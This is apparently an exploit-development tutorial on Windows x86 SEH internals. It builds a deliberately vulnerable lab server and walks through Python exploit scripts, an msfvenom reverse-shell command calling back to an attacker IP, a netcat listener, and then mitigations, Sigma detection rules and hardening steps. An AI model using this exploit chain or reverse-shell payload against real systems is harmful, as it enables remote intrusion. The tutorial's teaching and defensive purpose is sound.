Structured Exception Handler (SEH) Internals on Windows
You’ve got a stack overflow in a network service, but EIP is zeroed out at dispatch time and the OS won’t let you point the handler at the stack. Classic SEH exploitation looks broken until you understand why the dispatcher pushes those two pointers — and how two POPs and a RET turn the OS’s own calling convention into your pivot. This tutorial tears SEH apart from the data structures up through a working exploit against a self-built vulnerable server, then shows you exactly what a defender sees when it fires.
Everything here is x86 only. On x64, exception handlers live in .pdata unwind tables baked into the PE, not on the stack — there’s no chain to corrupt. If you’re targeting WOW64 processes, the 32-bit SEH mechanics still apply.
Contents
- 1 1. Exception Handling Fundamentals
- 2 2. The SEH Chain: Structures and Memory Layout
- 3 3. Dispatch Internals: From Fault to Handler
- 4 4. Why Vanilla Overwrites Fail — and How POP/POP/RET Fixes It
- 5 5. Lab Setup: Building the Vulnerable Target
- 6 6. Exploitation Walkthrough
- 7 7. Mitigations Deep-Dive
- 8 8. Detection & Defense
- 9 9. MITRE ATT&CK Mapping
- 10 10. Tools
- 11 Summary
- 12 Related Tutorials
- 13 References
1. Exception Handling Fundamentals
Windows exceptions come in two flavors: hardware (CPU traps — access violations 0xC0000005, divide-by-zero 0xC0000094, breakpoints 0x80000003) and software (raised explicitly via RaiseException() or a C++ throw). Both funnel through the same dispatch machinery.
MSVC exposes SEH through non-standard keywords:
__try {
// guarded body
} __except(EXCEPTION_EXECUTE_HANDLER) {
// handler — runs if filter returns 1
}
The __except filter expression returns one of three values:
| Value | Constant | Meaning |
|---|---|---|
1 | EXCEPTION_EXECUTE_HANDLER | Execute the handler block |
0 | EXCEPTION_CONTINUE_SEARCH | Pass to next handler in chain |
-1 | EXCEPTION_CONTINUE_EXECUTION | Re-execute faulting instruction |
The dispatch model is two-pass: first pass walks the chain looking for a handler whose filter says “I’ll take it”; second pass unwinds frames via RtlUnwind, calling __finally blocks on the way up. If nobody claims the exception, kernel32!UnhandledExceptionFilter gets it — the familiar crash dialog.
VEH (Vectored Exception Handling) coexists with SEH but fires first. VEH handlers are registered globally via AddVectoredExceptionHandler() and checked before the per-thread SEH chain is walked. For exploitation purposes, we care about the per-thread chain on the stack.
2. The SEH Chain: Structures and Memory Layout
Every thread’s SEH chain starts at FS:[0] — the first field of _NT_TIB inside the Thread Environment Block (_TEB). That pointer references the head of a singly-linked list of 8-byte records:
typedef struct _EXCEPTION_REGISTRATION_RECORD {
struct _EXCEPTION_REGISTRATION_RECORD *Next; // 4 bytes — pointer to previous record
PEXCEPTION_ROUTINE Handler; // 4 bytes — pointer to handler function
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;
The chain terminates when Next == 0xFFFFFFFF. Because these records live on the stack and the stack grows downward, the most recent __try block’s record sits at the lowest address. In memory, Next (often called nSEH in exploit-dev shorthand) sits below Handler (called SEH) — this matters because a linear buffer overflow hits Next first, then Handler four bytes later.
The MSVC runtime actually pushes a larger structure for scope tracking:
typedef struct _EH4_EXCEPTION_REGISTRATION_RECORD {
PVOID SavedESP;
PEXCEPTION_POINTERS ExceptionPointers;
EXCEPTION_REGISTRATION_RECORD SubRecord; // Next + Handler
UINT_PTR EncodedScopeTable;
ULONG TryLevel;
} EH4_EXCEPTION_REGISTRATION_RECORD;
The TryLevel field tracks which __try block is active; __except_handler4 (used when /GS is on) encodes the scope table pointer with a security cookie to detect tampering. When you compile with /GS-, the older __except_handler3 skips that check — which is why our lab target uses /GS-.
Inspecting the Chain Live
In WinDbg attached to a 32-bit process:
0:000> !teb
TEB at 7ffde000
ExceptionList: 0019ff64 ← head of SEH chain
0:000> !exchain
0019ff64: ntdll!_except_handler4+0 (77a1d040)
0019ffcc: ntdll!FinalExceptionHandlerPad54+0 (77a4e477)
0:000> dt _EXCEPTION_REGISTRATION_RECORD 0019ff64
+0x000 Next : 0x0019ffcc
+0x004 Handler : 0x77a1d040
That FinalExceptionHandlerPad entry near 0xFFFFFFFF is the system’s tail handler — the last resort before UnhandledExceptionFilter.
![Diagram showing the Windows SEH chain linked from TEB [FS:[0]](https://genxcyber.com/threads-and-the-teb-thread-environment-block/) through stack-resident EXCEPTION_REGISTRATION_RECORD structures to the terminal OS handler at 0xFFFFFFFF](https://genxcyber.com/wp-content/uploads/2026/06/seh-exploit-development-windows-x86-internals-1.png)
3. Dispatch Internals: From Fault to Handler
When a hardware exception fires, the kernel’s nt!KiDispatchException builds an _EXCEPTION_RECORD and an _CONTEXT snapshot, then delivers it to user mode:
nt!KiDispatchException (kernel)
→ ntdll!KiUserExceptionDispatcher (first user-mode function called)
→ ntdll!RtlDispatchException
→ walks _EXCEPTION_REGISTRATION_RECORD chain
→ calls each Handler with four arguments:
ExceptionRecord, EstablisherFrame, ContextRecord, DispatcherContext
The handler signature every Handler pointer must match:
EXCEPTION_DISPOSITION NTAPI EXCEPTION_ROUTINE(
struct _EXCEPTION_RECORD *ExceptionRecord, // what happened
PVOID EstablisherFrame, // pointer to this SEH record on stack
struct _CONTEXT *ContextRecord, // full CPU state snapshot
PVOID DispatcherContext // internal use
);
Note that the value the handler returns is an EXCEPTION_DISPOSITION, a different enum from the __except filter constants in Section 1. Its values are ExceptionContinueExecution = 0, ExceptionContinueSearch = 1 (the common case — keep walking to the next record in the chain), ExceptionNestedException = 2, and ExceptionCollidedUnwind = 3. Don’t confuse these handler-return codes with the filter-return constants (EXCEPTION_EXECUTE_HANDLER, EXCEPTION_CONTINUE_SEARCH, EXCEPTION_CONTINUE_EXECUTION).
The EstablisherFrame argument is critical for exploitation — it’s a pointer to the _EXCEPTION_REGISTRATION_RECORD that’s being invoked. The OS passes it as the second argument, so at handler entry it sits at ESP+08 — above the dispatcher’s return address (ESP+00) and the ExceptionRecord pointer (ESP+04). Remember this.
4. Why Vanilla Overwrites Fail — and How POP/POP/RET Fixes It
Here’s where I burned most of my first afternoon with SEH exploitation, so let me save you the confusion.
You overflow a stack buffer, overwrite Handler with the address of your shellcode sitting further up the stack. The OS dispatches the exception, calls your “handler”… and it crashes in a completely different place. Two problems:
Register zeroing. Windows clears general-purpose registers before calling the handler. You can’t rely on
EAX,ECX, etc. pointing anywhere useful.Stack residency check.
RtlDispatchExceptionvalidates that the handler address does not fall within the thread’s stack range. PointingHandlerdirectly at stack shellcode gets rejected.
But the OS is about to hand you execution at a code address you control — if that address is in a loaded module (not the stack), it passes the check. And here’s the key insight: look at the stack layout when the handler is called:
ESP+00 → dispatcher return address
ESP+04 → pointer to ExceptionRecord
ESP+08 → pointer to EstablisherFrame (= address of the nSEH/SEH record on stack)
ESP+0C → pointer to ContextRecord
The key observation: EstablisherFrame at ESP+08 points back to the _EXCEPTION_REGISTRATION_RECORD we just overwrote. That’s our nSEH field. If we execute:
pop reg ; pops the dispatcher return address off the stack
pop reg ; pops the ExceptionRecord pointer off the stack
ret ; pops EstablisherFrame (the nSEH pointer) into EIP
After the two POPs, ESP points at what was originally ESP+08 — the EstablisherFrame pointer. RET then pops that value into EIP. Because EstablisherFrame is the address of our overwritten _EXCEPTION_REGISTRATION_RECORD, that value is the address of our nSEH field. So POP/POP/RET deterministically lands execution on the nSEH bytes we control — there’s nothing empirical or hand-wavy about it; it falls straight out of the handler calling convention. Set a breakpoint on the gadget and watch ESP — after POP/POP, the top of stack holds the address of nSEH.
So we put a short jump (\xeb\x06) in the nSEH field. Execution lands there, jumps 6 bytes forward (past the 4-byte SEH field plus 2 bytes of NOP alignment), and hits our shellcode.
](https://genxcyber.com/wp-content/uploads/2026/06/seh-exploit-development-windows-x86-internals-2-scaled.png)
5. Lab Setup: Building the Vulnerable Target
The Vulnerable Server
// vuln_seh_server.c — intentionally vulnerable lab target
// Compile (MSVC x86 Developer Prompt):
// cl /GS- /Od /Zi vuln_seh_server.c /link /SAFESEH:NO /DYNAMICBASE:NO /NXCOMPAT:NO ws2_32.lib
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
void handle_client(SOCKET s) {
char buf[512];
char recv_buf[2048];
int n = recv(s, recv_buf, sizeof(recv_buf) - 1, 0);
if (n > 0) {
recv_buf[n] = '\0';
if (strncmp(recv_buf, "GMON ", 5) == 0) {
__try {
strcpy(buf, recv_buf + 5); // no bounds check
printf("[+] GMON data: %.40s...\n", buf);
} __except (EXCEPTION_EXECUTE_HANDLER) {
printf("[!] Exception in GMON handler\n");
}
}
}
closesocket(s);
}
int main(void) {
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
SOCKET srv = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr = { 0 };
addr.sin_family = AF_INET;
addr.sin_port = htons(9999);
addr.sin_addr.s_addr = INADDR_ANY;
bind(srv, (struct sockaddr *)&addr, sizeof(addr));
listen(srv, 5);
printf("[*] vuln_seh_server listening on TCP 9999\n");
for (;;) {
SOCKET c = accept(srv, NULL, NULL);
handle_client(c);
}
}
Compile flags explained:
| Flag | Effect |
|---|---|
/GS- | Disables stack cookies — no canary between locals and saved EBP |
/Od | No optimizations — keeps stack layout predictable |
/SAFESEH:NO | No SEHandlerTable in PE — any address accepted as handler |
/DYNAMICBASE:NO | ASLR disabled — module base is fixed across runs |
/NXCOMPAT:NO | DEP opt-out — stack pages are executable |
The __try/__except block guarantees an _EXCEPTION_REGISTRATION_RECORD sits on the stack above buf[512]. When strcpy overflows, it’ll reach that record.
If you want a separate non-SafeSEH DLL for gadget hunting (mirroring the classic essfunc.dll setup), compile a stub DLL the same way:
// labhelper.c — stub DLL, compile: cl /LD /GS- labhelper.c /link /SAFESEH:NO /DYNAMICBASE:NO
__declspec(dllexport) void helper_stub(void) { return; }
Load it in the server with LoadLibrary("labhelper.dll") before the listen loop.
6. Exploitation Walkthrough
Step 1 — Crash It
Send 2000 As and confirm the SEH chain is corrupted:
# crash_test.py
import socket
buf = b"GMON " + b"A" * 2000
s = socket.socket()
s.connect(("127.0.0.1", 9999))
s.send(buf)
s.close()
Attach Immunity Debugger before sending. After the crash, press Alt+S to view the SEH chain — you’ll see 41414141 in both nSEH and SEH. The overflow reaches the exception record.
Step 2 — Find the Exact Offset
msf-pattern_create -l 2000 > pattern.txt
Send the pattern instead of As. Read the nSEH and SEH values from Immunity’s SEH chain view. Suppose nSEH shows 41386941 and SEH shows 35694134:
msf-pattern_offset -l 2000 -q 41386941
# → Exact match at offset 524
msf-pattern_offset -l 2000 -q 35694134
# → Exact match at offset 528 (524 + 4, as expected)
Confirm with !mona findmsp in Immunity — it reports the SEH overwrite offset directly.
Step 3 — Validate Control
# validate.py
import socket
offset = 524
buf = b"GMON "
buf += b"A" * offset # junk to reach nSEH
buf += b"BBBB" # nSEH → should show 42424242
buf += b"CCCC" # SEH → should show 43434343
buf += b"D" * 500 # trailing space for shellcode
s = socket.socket()
s.connect(("127.0.0.1", 9999))
s.send(buf)
s.close()
Alt+S in Immunity: nSEH = 42424242, SEH = 43434343. Perfect control.
Step 4 — Locate a POP/POP/RET Gadget
!mona modules
Identify modules where SafeSEH, ASLR, and Rebase are all False — your compiled server and labhelper.dll should qualify. Then:
!mona seh -cp nonull -o
This searches for POP r32 / POP r32 / RET sequences in non-SafeSEH, non-ASLR modules, excluding addresses containing null bytes. Pick one — say 0x10101058 from labhelper.dll (POP ESI / POP EBX / RET).
Step 5 — Build the Payload
Generate shellcode — a reverse shell back to your attack box:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 \
-b "\x00" -f python --var-name shellcode
The final exploit layout:
[GMON ][A × 524][nSEH: \xeb\x06\x90\x90][SEH: gadget addr][NOP sled][shellcode]
# exploit_seh.py — full PoC against vuln_seh_server (lab target)
import socket, struct
# Replace with your msfvenom output
shellcode = (
b"\xba\x2e\xc0\xb1\xd8\xdb\xd0\xd9\x74\x24\xf4\x5e"
# ... (truncated — paste full msfvenom output here)
)
offset = 524
nseh = b"\xeb\x06\x90\x90" # JMP SHORT +6 over SEH field, 2 NOPs
seh = struct.pack("<I", 0x10101058) # POP ESI / POP EBX / RET in labhelper.dll
nops = b"\x90" * 16
payload = b"GMON "
payload += b"A" * offset
payload += nseh
payload += seh
payload += nops
payload += shellcode
s = socket.socket()
s.connect(("127.0.0.1", 9999))
s.send(payload)
s.close()
print("[*] Payload sent — check your listener")
Start your listener (nc -lvp 4444 or msfconsole with exploit/multi/handler), fire the exploit, and catch the shell.
Execution Flow Recap
strcpyoverflows pastbuf[512], corrupts the_EXCEPTION_REGISTRATION_RECORD.- Continued memory corruption triggers an access violation — new exception raised.
KiUserExceptionDispatcher→RtlDispatchExceptionfinds our overwrittenHandler.- Handler address (
0x10101058) is insidelabhelper.dll— passes the stack-residency check. POP ESI / POP EBX / RETexecutes. After two POPs, RET lands on the nSEH address.\xeb\x06(short jump forward 6 bytes) in nSEH hops over the 4-byte SEH field into the NOP sled.- Shellcode executes. Reverse shell connects to attacker.
7. Mitigations Deep-Dive
This is why the lab target had every protection disabled. In the real world, you’d face multiple overlapping defenses:
SafeSEH — The /SAFESEH linker flag embeds a SEHandlerTable in the PE’s IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG. At dispatch time, ntdll!RtlIsValidHandler checks the proposed handler against this table. If the handler falls within a SafeSEH-compiled module and isn’t in the table, it’s rejected. The classic bypass: find your POP/POP/RET gadget in a loaded module that wasn’t compiled with /SAFESEH — one forgotten third-party DLL is enough. SafeSEH is a 32-bit-only mechanism; 64-bit Windows uses table-based unwinding and never stores handlers on the stack.
SEHOP — Structured Exception Handler Overwrite Protection validates chain integrity before dispatching. The OS inserts a sentinel record at the chain tail and walks the entire chain at exception time to verify it terminates correctly. Since Next sits before Handler in memory, any overflow that corrupts Handler also corrupts Next, breaking the chain and failing SEHOP’s walk. Enable system-wide via:
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\kernel\DisableExceptionChainValidation → DWORD 0
The combination of SEHOP with ASLR is what makes SEH overwrites genuinely difficult — even if you bypass the chain check, you can’t predict the gadget address.
DEP / NX — Stack pages marked non-executable. Our short-jump-to-shellcode payload faults immediately. Defeating DEP requires a ROP chain to call VirtualProtect() or VirtualAlloc() before executing shellcode — a significant increase in complexity.
/GS Stack Cookie — This one trips people up. The cookie check runs in the function epilogue, before RET. But an SEH overflow doesn’t need the function to return — the exception fires mid-function, before the cookie check ever runs. /GS does not protect against SEH overwrites. That’s precisely why /SAFESEH and SEHOP exist as separate mitigations.

8. Detection & Defense
Sysmon Events
| Event ID | Name | What to Watch For |
|---|---|---|
| 1 | Process Create | cmd.exe or powershell.exe spawned as child of vuln_seh_server.exe |
| 3 | Network Connection | Outbound TCP from server process to unusual port (4444, etc.) |
| 7 | Image Loaded | Unsigned DLL loaded into server process (Signed: false) |
| 10 | Process Access | Cross-process handle opens if exploit stages injection |
Sigma Rule
title: Reverse Shell from Network Service via SEH Exploit
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith:
- '\vuln_seh_server.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
condition: selection
fields:
- CommandLine
- ParentImage
- User
falsepositives:
- Legitimate admin maintenance scripts
level: high
A second rule for the network callback:
title: Outbound Connection from Exploited Service
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 3
Initiated: 'true'
Image|endswith: '\vuln_seh_server.exe'
DestinationPort:
- 4444
- 4443
- 1337
condition: selection
level: critical
Hardening Checklist
- Enable SEHOP via the registry key above — costs nothing, blocks vanilla SEH overwrites.
- Compile everything with
/SAFESEH,/GS,/DYNAMICBASE,/NXCOMPAT,/guard:cf. - Use
Set-ProcessMitigation -Name vuln_seh_server.exe -Enable SEHOP,DEP,ForceRelocateImagesfor per-app enforcement via Exploit Guard. - Audit with Event ID 4688 (
Audit Process Creation→ Success) to capture command lines of child processes. - Run network services under least-privilege accounts; enforce AppLocker/WDAC to block
cmd.exespawning from service paths.
9. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Exploitation of Remote Services | T1210 | Sysmon Event 3 (network), Event 1 (child process) |
| Exploitation for Client Execution | T1203 | Application crash logs (WER Event 1000/1001), Sysmon Event 1 |
| Exploitation for Privilege Escalation | T1068 | Unexpected SYSTEM-context child process from service |
| Windows Command Shell | T1059.003 | Sysmon Event 1 — cmd.exe spawned by network service |
| Process Injection (second stage) | T1055 | Sysmon Event 10 (ProcessAccess), Event 8 (CreateRemoteThread) |
| Impair Defenses: Disable or Modify Tools | T1562.001 | Registry modification of DisableExceptionChainValidation — Sysmon Event 13 |
MITRE ATT&CK does not have a dedicated sub-technique for SEH overwrites specifically — T1210 and T1203 are the closest Enterprise mappings.
10. Tools
| Tool | Purpose | Link |
|---|---|---|
| Immunity Debugger + mona.py | SEH chain inspection, gadget search (!mona seh) | immunityinc.com / github.com/corelan/mona |
| x64dbg (x32dbg) | Alternative debugger with SEH chain tab | x64dbg.com |
| WinDbg | !exchain, !teb, dt _EXCEPTION_REGISTRATION_RECORD | microsoft.com |
| Boofuzz | Network protocol fuzzing | github.com/jtpereyda/boofuzz |
Metasploit (pattern_create/pattern_offset) | Cyclic pattern offset calculation | metasploit.com |
msfvenom | Shellcode generation with bad-char exclusion | metasploit.com |
| ROPgadget | POP/POP/RET and ROP gadget search | github.com/JonathanSalwan/ROPgadget |
| Process Hacker | Runtime module and thread inspection | processhacker.sourceforge.io |
| Sysmon | Endpoint telemetry for detection | docs.microsoft.com |
Summary
- SEH records are 8-byte structures on the x86 stack — a
Nextpointer and aHandlerpointer, chained fromFS:[0]through the Thread Environment Block. The chain is the OS’s mechanism for structured exception dispatch, and its stack residency is exactly what makes it an exploitation target. - POP/POP/RET is not magic — it’s a direct consequence of the handler calling convention. The OS pushes
ExceptionRecordandEstablisherFramebefore calling the handler; two POPs clear them, and RET pivots execution to the nSEH address you control. /GSstack cookies do not protect SEH — the cookie check runs at function return, but the exception fires mid-function. SafeSEH and SEHOP exist specifically to fill this gap.- SEHOP + ASLR together are the effective kill — SEHOP breaks the chain walk, ASLR randomizes gadget addresses. Enable SEHOP system-wide via the
DisableExceptionChainValidationregistry key; it’s disabled by default on some client SKUs. - Detect the aftermath — Sysmon Events 1 and 3 catch the reverse shell spawning and calling home; Event 7 flags unsigned DLLs missing SafeSEH that made the gadget possible.
Related Tutorials
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
- Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
- Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
- Writing Your First Shellcode: x86 Reverse Shell from Scratch
References
- limbioliong.wordpress.com
- limbioliong.wordpress.com
- limbioliong.wordpress.com
- en.wikipedia.org
- blog.urielberdeja.com
- richard-ac.github.io
Get new drops in your inbox
Windows internals, exploit dev, and red-team write-ups — no spam, unsubscribe anytime.